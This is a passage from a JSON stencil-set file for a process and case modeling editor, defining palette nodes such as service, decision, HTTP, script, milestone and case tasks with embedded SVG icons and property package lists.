0.059625,0.05108 0.09375,0.0625 C 7.4756199,14.874237 7.5,15.125 7.5,15.125 L 8,17 l 2,0 0.5,-1.875 c 0,0 0.02438,-0.250763 0.40625,-0.4375 0.03651,-0.01785 0.04988,-0.04632 0.09375,-0.0625 0.332335,-0.117979 0.666303,-0.23428 0.96875,-0.40625 0.177303,0.0173 0.28125,0.09375 0.28125,0.09375 l 1.65625,0.96875 1.40625,-1.40625 -0.96875,-1.65625 c 0,0 -0.07645,-0.103947 -0.09375,-0.28125 0.162527,-0.290859 0.262063,-0.619368 0.375,-0.9375 0.01618,-0.04387 0.04465,-0.05724 0.0625,-0.09375 C 14.874237,10.52438 15.125,10.5 15.125,10.5 L 17,10 17,8 15.125,7.5 c 0,0 -0.250763,-0.024382 -0.4375,-0.40625 C 14.669647,7.0572406 14.641181,7.0438697 14.625,7 14.55912,6.8144282 14.520616,6.6141566 14.4375,6.4375 c -0.224363,-0.4866 0,-0.71875 0,-0.71875 L 15.40625,4.0625 14,2.625 l -1.65625,1 c 0,0 -0.253337,0.1695664 -0.71875,-0.03125 l -0.03125,0 C 11.405359,3.5035185 11.198648,3.4455201 11,3.375 10.95613,3.3588185 10.942759,3.3303534 10.90625,3.3125 10.524382,3.125763 10.5,2.875 10.5,2.875 L 10,1 8,1 z m 1,5 c 1.656854,0 3,1.3431458 3,3 0,1.656854 -1.343146,3 -3,3 C 7.3431458,12 6,10.656854 6,9 6,7.3431458 7.3431458,6 9,6 z\\\" /></g><g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><g oryx:anchors=\\\"bottom\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M49 67 L49 74 M49 76 L49 78\\\" transform=\\\"translate(-11,0)\\\"></path></g></g><g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M47 68 v10 M50 68 v10 M53 68 v10\\\" transform=\\\"translate(10,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" d=\\\"M45.5 68 L54 73 L45.5 77 L45.5 69z\\\" transform=\\\"translate(-2,0)\\\"></path></g></g></svg>\",\n    \"icon\" : \"activity/servicetask.png\",\n    \"groups\" : [ \"Activities\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"servicetaskclasspackage\",\n      \"servicetaskexpressionpackage\",\n      \"servicetaskdelegateexpressionpackage\",\n      \"servicetaskfieldspackage\",\n      \"servicetaskresultvariablepackage\",\n      \"asyncpackage\",\n      \"requiredrulepackage\",\n      \"repetitionrulepackage\",\n      \"manualactivationrulepackage\",\n      \"completionneutralrulepackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n  },\n    {\n      \"type\": \"node\",\n      \"id\": \"DecisionTask\",\n      \"title\": \"Decision task\",\n      \"description\": \"Task to invoke a DMN decision\",\n      \"view\": \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"decisionTask\\\" transform=\\\"translate(4,3)\\\">\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\t d=\\\"m 1,2 0,14 16,0 0,-14 z m 1.45458,5.6000386 2.90906,0 0,2.7999224 -2.90906,0 z m 4.36364,0 8.72718,0 0,2.7999224 -8.72718,0 z m -4.36364,4.1998844 2.90906,0 0,2.800116 -2.90906,0 z m 4.36364,0 8.72718,0 0,2.800116 -8.72718,0 z\\\" style=\\\"fill:#72a7d0;stroke:none\\\" /></g><g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><g oryx:anchors=\\\"bottom\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M49 67 L49 74 M49 76 L49 78\\\" transform=\\\"translate(-11,0)\\\"></path></g></g><g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M47 68 v10 M50 68 v10 M53 68 v10\\\" transform=\\\"translate(10,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" d=\\\"M45.5 68 L54 73 L45.5 77 L45.5 69z\\\" transform=\\\"translate(-2,0)\\\"></path></g></g></svg>\",\n      \"icon\": \"activity/decisiontask.png\",\n      \"groups\": [\n        \"Activities\"\n      ],\n      \"propertyPackages\": [\n        \"overrideidpackage\",\n        \"namepackage\",\n        \"documentationpackage\",\n        \"decisiontaskdecisiontablereferencepackage\",\n        \"decisiontaskthrowerroronnohitspackage\",\n        \"asyncpackage\",\n        \"requiredrulepackage\",\n        \"repetitionrulepackage\",\n        \"manualactivationrulepackage\",\n        \"completionneutralrulepackage\"\n      ],\n      \"hiddenPropertyPackages\": [],\n      \"roles\": [\n        \"Activity\",\n        \"association_start\",\n        \"association_end\",\n        \"ActivitiesMorph\",\n        \"all\"\n      ]\n    }, {\n      \"type\": \"node\",\n      \"id\": \"HttpTask\",\n      \"title\": \"Http task\",\n      \"description\": \"A HTTP task\",\n      \"view\": \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n    \\n\\t<g id=\\\"sendTask\\\" transform=\\\"translate(4,3)\\\">\\n\\t\\n\\t<!-- path here -->\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\tstyle=\\\"fill:#16964d;stroke:none;\\\"\\n     \\t\\td=\\\"m 16.704699,5.9229055 q 0.358098,0 0.608767,0.2506681 0.250669,0.250668 0.250669,0.6087677 0,0.3580997 -0.250669,0.6087677 -0.250669,0.2506679 -0.608767,0.2506679 -0.358098,0 -0.608767,-0.2506679 -0.250669,-0.250668 -0.250669,-0.6087677 0,-0.3580997 0.250669,-0.6087677 0.250669,-0.2506681 0.608767,-0.2506681 z m 2.578308,-2.0053502 q -2.229162,0 -3.854034,0.6759125 -1.624871,0.6759067 -3.227361,2.2694472 -0.716197,0.725146 -1.575633,1.7457293 L 7.2329969,8.7876913 Q 7.0897576,8.8055849 7.000233,8.9309334 L 4.9948821,12.368677 q -0.035811,0.06267 -0.035811,0.143242 0,0.107426 0.080572,0.205905 l 0.5729577,0.572957 q 0.125334,0.116384 0.2864786,0.07162 l 2.4708789,-0.760963 2.5156417,2.515645 -0.76096,2.470876 q -0.009,0.02687 -0.009,0.08057 0,0.125338 0.08058,0.205905 l 0.572957,0.572958 q 0.170096,0.152194 0.349146,0.04476 l 3.437744,-2.005351 q 0.125335,-0.08953 0.143239,-0.232763 l 0.17905,-3.392986 q 1.02058,-0.859435 1.745729,-1.575629 1.67411,-1.6830612 2.309735,-3.2049805 0.635625,-1.5219191 0.635625,-3.8585111 0,-0.1253369 -0.08505,-0.2148575 -0.08505,-0.089526 -0.201431,-0.089526 z \\\" /></g><g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><g oryx:anchors=\\\"bottom\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M49 67 L49 74 M49 76 L49 78\\\" transform=\\\"translate(-11,0)\\\"></path></g></g><g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M47 68 v10 M50 68 v10 M53 68 v10\\\" transform=\\\"translate(10,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" d=\\\"M45.5 68 L54 73 L45.5 77 L45.5 69z\\\" transform=\\\"translate(-2,0)\\\"></path></g></g></svg>\",\n      \"icon\": \"activity/httptask.png\",\n      \"groups\": [\n        \"Activities\"\n      ],\n      \"propertyPackages\": [\n        \"overrideidpackage\",\n        \"namepackage\",\n        \"documentationpackage\",\n        \"servicetaskclasspackage\",\n        \"asyncpackage\",\n        \"requiredrulepackage\",\n        \"repetitionrulepackage\",\n        \"manualactivationrulepackage\",\n        \"completionneutralrulepackage\",\n        \"httptaskrequestmethodpackage\",\n        \"httptaskrequesturlpackage\",\n        \"httptaskrequestheaderspackage\",\n        \"httptaskrequestbodypackage\",\n        \"httptaskrequesttimeoutpackage\",\n        \"httptaskdisallowredirectspackage\",\n        \"httptaskfailstatuscodespackage\",\n        \"httptaskhandlestatuscodespackage\",\n        \"httptaskignoreexceptionpackage\",\n        \"httptaskresponsevariablenamepackage\",\n        \"httptasksaverequestvariablespackage\",\n        \"httptasksaveresponseparameterspackage\",\n        \"httptaskresultvariableprefixpackage\",\n        \"httptasksaveresponseparameterstransientpackage\",\n        \"httptasksaveresponseasjsonpackage\"\n      ],\n      \"hiddenPropertyPackages\": [],\n      \"roles\": [\n        \"Activity\",\n        \"sequence_start\",\n        \"sequence_end\",\n        \"ActivitiesMorph\",\n        \"all\"\n      ]\n    }, {\n      \"type\" : \"node\",\n      \"id\" : \"ScriptTask\",\n      \"title\" : \"Script task\",\n      \"description\" : \"An automatic task with script logic\",\n      \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"scriptTask\\\" transform=\\\"translate(2,2)\\\">\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n\\t\\t\\td=\\\"m 5,2 0,0.094 c 0.23706,0.064 0.53189,0.1645 0.8125,0.375 0.5582,0.4186 1.05109,1.228 1.15625,2.5312 l 8.03125,0 1,0 1,0 c 0,-3 -2,-3 -2,-3 l -10,0 z M 4,3 4,13 2,13 c 0,3 2,3 2,3 l 9,0 c 0,0 2,0 2,-3 L 15,6 6,6 6,5.5 C 6,4.1111 5.5595,3.529 5.1875,3.25 4.8155,2.971 4.5,3 4.5,3 L 4,3 z\\\"\\n     \\t\\tstyle=\\\"fill:#72a7d0;stroke:none\\\"\\n\\t\\t/>\\n\\t</g><g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><g oryx:anchors=\\\"bottom\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M49 67 L49 74 M49 76 L49 78\\\" transform=\\\"translate(-11,0)\\\"></path></g></g><g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M47 68 v10 M50 68 v10 M53 68 v10\\\" transform=\\\"translate(10,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" d=\\\"M45.5 68 L54 73 L45.5 77 L45.5 69z\\\" transform=\\\"translate(-2,0)\\\"></path></g></g></svg>\",\n      \"icon\" : \"activity/scripttask.png\",\n      \"groups\" : [ \"Activities\" ],\n      \"propertyPackages\" : [  \n        \"overrideidpackage\",\n        \"namepackage\",\n        \"documentationpackage\",\n        \"servicetaskclasspackage\",\n        \"asyncpackage\",\n        \"requiredrulepackage\",\n        \"repetitionrulepackage\",\n        \"manualactivationrulepackage\",\n        \"completionneutralrulepackage\",\n        \"scriptformatpackage\", \n        \"scripttextpackage\",\n        \"servicetaskresultvariablepackage\"\n      ],\n      \"hiddenPropertyPackages\" : [ ],\n      \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n    }, {\n    \"type\" : \"node\",\n    \"id\" : \"Milestone\",\n    \"title\" : \"Milestone\",\n    \"description\" : \"A milestone\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?> <svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" width=\\\"146\\\" height=\\\"54\\\" version=\\\"1.0\\\"> <oryx:magnets> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"27\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"36\\\" oryx:cy=\\\"53\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"72\\\" oryx:cy=\\\"53\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"108\\\" oryx:cy=\\\"53\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"145\\\" oryx:cy=\\\"27\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"36\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"72\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"108\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"72\\\" oryx:cy=\\\"27\\\" oryx:default=\\\"yes\\\" /> </oryx:magnets> <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"146 54\\\" oryx:maximumSize=\\\"400 54\\\"> <rect id=\\\"mileStone\\\" oryx:resize=\\\"horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"146\\\" height=\\\"54\\\" rx=\\\"24\\\" ry=\\\"30\\\" stroke=\\\"black\\\" fill=\\\"#ffffff\\\"/> <text font-size=\\\"12\\\" id=\\\"text_name\\\" x=\\\"73\\\" y=\\\"26\\\" oryx:align=\\\"middle center\\\" oryx:fittoelem=\\\"mileStone\\\" stroke=\\\"black\\\"> </text> <g id=\\\"required\\\" stroke=\\\"#000000\\\"> <path d=\\\"M68 40 L68 47 M68 49 L68 51 \\\" fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\"/> </g> <g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M64 40 v11 M67 40 v11 M70 40 v11\\\" transform=\\\"translate(13,0)\\\"/></g></g> </svg>\",\n    \"icon\" : \"activity/milestone.png\",\n    \"groups\" : [ \"Activities\" ],\n    \"propertyPackages\" : [\n      \"overrideidpackage\",\n      \"namepackage\",\n      \"documentationpackage\",\n      \"requiredrulepackage\",\n      \"repetitionrulepackage\",\n      \"completionneutralrulepackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"Activity\", \"association_start\", \"association_end\", \"ActivitiesMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"CaseTask\",\n    \"title\" : \"Case task\",\n    \"description\" : \"A reference to a case definition to start a new instance\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?> <svg xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:svg=\\\"http://www.w3.org/2000/svg\\\" xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" width=\\\"102\\\" height=\\\"82\\\" version=\\\"1.0\\\"> <defs></defs> <oryx:magnets> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" /> <oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" /> <oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" /> <oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" /> </oryx:magnets> <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\"> <rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" /> <rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" /> <text font-size=\\\"12\\\" id=\\\"text_name\\\" x=\\\"50\\\" y=\\\"40\\\" oryx:align=\\\"middle center\\\" oryx:fittoelem=\\\"text_frame\\\" stroke=\\\"#373e48\\\"> </text> <g id=\\\"caseTask\\\" transform=\\\"scale(0.7,0.7) translate(8,8)\\\"> <path oryx:anchors=\\\"top left\\\" style=\\\"opacity:1;fill:#000000;stroke:#000000\\\" d=\\\"M5 4 L9 0 L18 0 L 21 3z\\\"/> <path oryx:anchors=\\\"top left\\\" style=\\\"opacity:1;fill:#F4F6F7;stroke:#000000\\\" d=\\\"M1 23 L1 4 L30 4 L30 23z\\\"/> </g> <g id=\\\"required\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\"><g oryx:anchors=\\\"bottom\\\"><path fill=\\\"none\\\" oryx:anchors=\\\"bottom\\\" d=\\\"M49 67 L49 74 M49 76 L49 78\\\" transform=\\\"translate(-11,0)\\\"></path></g></g> <g id=\\\"repetition\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M47 68 v10 M50 68 v10 M53 68 v10\\\" transform=\\\"translate(10,0)\\\"/></g><g id=\\\"manualActivation\\\" display=\\\"inherit\\\" stroke=\\\"#000000\\\" oryx:anchors=\\\"bottom\\\"><path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" d=\\\"M45.5 68 L54 73 L45.5 77 L45.5 69z\\\" transform=\\\"translate(-2,0)\\\"></path></g></g></svg>\",\n    \"icon\" : 